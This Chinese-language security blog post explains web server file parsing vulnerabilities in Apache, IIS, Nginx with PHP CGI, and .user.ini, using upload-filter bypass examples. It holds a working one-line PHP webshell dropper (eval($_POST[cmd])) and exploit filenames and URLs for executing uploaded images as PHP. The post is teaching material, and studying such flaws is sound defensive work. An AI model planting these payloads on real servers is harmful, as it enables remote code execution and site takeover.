服务器文件解析漏洞
文件解析漏洞,是指Web容器(Apache、nginx、iis等)在解析文件时出现了漏洞,以其他格式执行出脚本格式的效果。从而,黑客可以利用该漏洞实现非法文件的解析。
Apache
linux系统中的apache的php配置文件在/etc/apache2/mods-available
这个目录下,我在window上phpstudy环境下找不到这个php的配置文件。
多后缀解析漏洞
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。
- AddHandler:将文件扩展名映射到指定的处理程序
什么样的扩展名使用什么样的程序来处理,描述的是扩展名与处理程序之间的关系。如果在 Apache 的 conf 里有这样一行配置 AddHandler application/x-httpd-php .php
这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
- AddType:在给定的文件扩展名与特定的内容类型之间建立映射
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系,例如:AddType application/x-httpd-php .jpg
,表示.jpg扩展名的文件就是application/x-httpd-php类型的。
情形一
如果运维人员给.php
后缀增加了处理器:
1 | AddHandler application/x-httpd-php .php |
那么,在有多个后缀的情况下,只要一个文件含有.php
后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
example:
这里有一个文件上传的入口,我们尝试上传php文件,显示不支持该类型文件上传
我们把文件后缀改成jpg,再次上传,发现成功上传了
访问该目录,发现该jpg被解析为了php文件。
情形二
如果运维人员脑瘫了给.jpg
后缀增加了处理器或者类型映射:
1 | AddHandler application/x-httpd-php .jpg |
那么我们上传的jpg文件或者带有jpg的多后缀文件都能够以php解析。
情形三
这种和情形二是一样的,只不过写法不一样,如果运维人员脑瘫了给jpg
后缀增加了处理器或者类型映射:
1 | <FilesMatch ".+\.jpg"> |
罕见后缀
有一个名为mime.types的文件,其中记录着Apache认识的后缀,在Ubuntu下,该文件位于/etc/mime.types
,我们查看它认识PHP哪些后缀,发现其实PHP还有很多别的后缀名。
1 | #application/x-httpd-php phtml pht php |
然后我们再到apache的php的配置文件下看看,发现配置文件下本来就支持php、phar、phtml这三种后缀的文件。
1 | <FilesMatch ".+\.ph(ar|p|tml)$"> |
个人认为这个不是漏洞,只不过apcahe本来就支持这些后缀,但是开发人员的黑名单遗漏了这些罕见的后缀,导致了文件的正常解析。
.htaccess
.htaccess是Apache的又一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——**.htaccess**(分布式配置文件)。.htaccess文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。但我们这里只关心.htaccess文件的一个作用——MIME类型修改。
想要这个生效,一是需要在apache配置文件中把AllowOverride
改为All
二是Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:
1 | LoadModule rewrite_mudule /usr/lib/apache2/modules/mod_rewrite.so |
若是在Ubuntu中,可能还需要执行命令:(我的Ubuntu18并不需要)
1 | sudo a2enmod rewrite |
配置完成后,我们例如在.htaccess
文件中写入AddType application/x-httpd-php .john
,则让apache把文件后缀为john
的文件都以php的方式解析。
换行解析漏洞 CVE-2017-15715
改漏洞影响的apache版本为2.4.0~2.4.29(但是我在本机上的2.4.29上传的文件不行,难道是php版本也有很关系?)
1 |
|
这个后端通过basename()
来获取用户传入的自定义文件名,再把传入的文件重命名为改文件名,这样就存在换行解析漏洞。
这里在上传文件时,对文件名进行了黑名单限制,我们利用该漏洞上传一个1.php文件,使用burpsuit抓包。
在1.php后插入一个\x0A,绕过黑名单过滤,发现能够成功上传,而且访问1.php%0a
,文件也能被当作PHP解析。
值得一提的是通常我们也不会使用这样方法给文件命名,正常的办法是使用
$_FILES['upload']['name']
这种方法获取文件本身的名字,而且一般也会对文件进行重命名为一个随机的名字,因此这个漏洞实际上也很难出现在现实环境中。
IIS
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析
原理: 在IIS-6.0的版本,在.asp或.asa文件夹下的所有类型后缀文件全部解析为.asp文件。
文件解析
原理:在IIS-6.0的版本,服务器默认不解析;后面的内容,所以xxx.asp;.jpg会被解析成xxx.asp。
解析文件类型
有的网站在上传检测中会用”黑名单”方法 ,但是IIS6.0 默认的可执行文件除了asp还包含这三种 :
1 | /test.asa |
IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
跟nginx解析漏洞一样,要在php.ini cgi.fix_pathinfo=1 开启的情况才会产生。
可以配合操作系统文件命名规则,上传不符合windows文件命名规则的文件名
1 | test.asp. |
会被windows系统自动去掉不符合规则符号后面的内,然后再配合这个解析漏洞来执行文件。
Nginx
空字节代码执行漏洞
旧版本(0.5.*,**0.6.*,0.7,0.8<=0.7.65<=0.8.37)。通过利用此漏洞,攻击者可以导致服务器使用PHP的FastCGI作为PHP的服务器上执行任何公开访问的文件。
恶意用户发出请求http://example.com/file.ext%00.php
就会将file.ext作为PHP文件解析。
如果一个攻击者可以控制文件的内容(即:使用头像上传形式)其结果是执行任意代码。Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码。
PHP CGI解析漏洞
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
当访问xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI。
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
1 | www.xxxx.com/upload/image/1.jpg/1.php |
另外一种手法:上传一个名字为test.jpg,以下内容的文件。
1 | 'shell.php','w'),'<?php eval($_POST[cmd])?>'); fputs(fopen( |
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。
这个往前递归的功能原本是想解决/info.php/test这种URL,能够正确解析到info.php。
在Nginx配置fastcgi使用php时,会存在文件类型解析问题。其实可以说它与Nginx本身关系不大,Nginx只是作为一个代理把请求转发给fastcgi Server,PHP在后端处理这一切。因此在其他fastcgi环境下,PHP也存在此问题,只是使用Nginx作为Web Server时,一般使用fastcgi的方式调用脚本解释器,这种使用方式最为常见。
补充
补充一个做 Upload-labs 时遇到的一个配置漏洞。
.user.ini
.user.ini
是PHP默认的配置文件。就像.htaccess
在 apache 中的作用一样,它比.htaccess
用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。实际上,除了PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
而且,和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
利用方法:
auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
1 | auto_prepend_file=01.gif |
这么写相当于当前目录下的所有PHP文件都会自动包含了01.gif
这个文件,攻击者可以上传gif后缀的php文件利用这个方法让代码包含进正常的php可执行文件中。
利用条件:
想要利用.user.ini
文件需要满足3个条件:
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
参考资料
- Post title:服务器文件解析漏洞
- Post author:John_Frod
- Create time:2021-03-31 11:27:52
- Post link:https://keep.xpoet.cn/2021/03/31/服务器文件解析漏洞/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.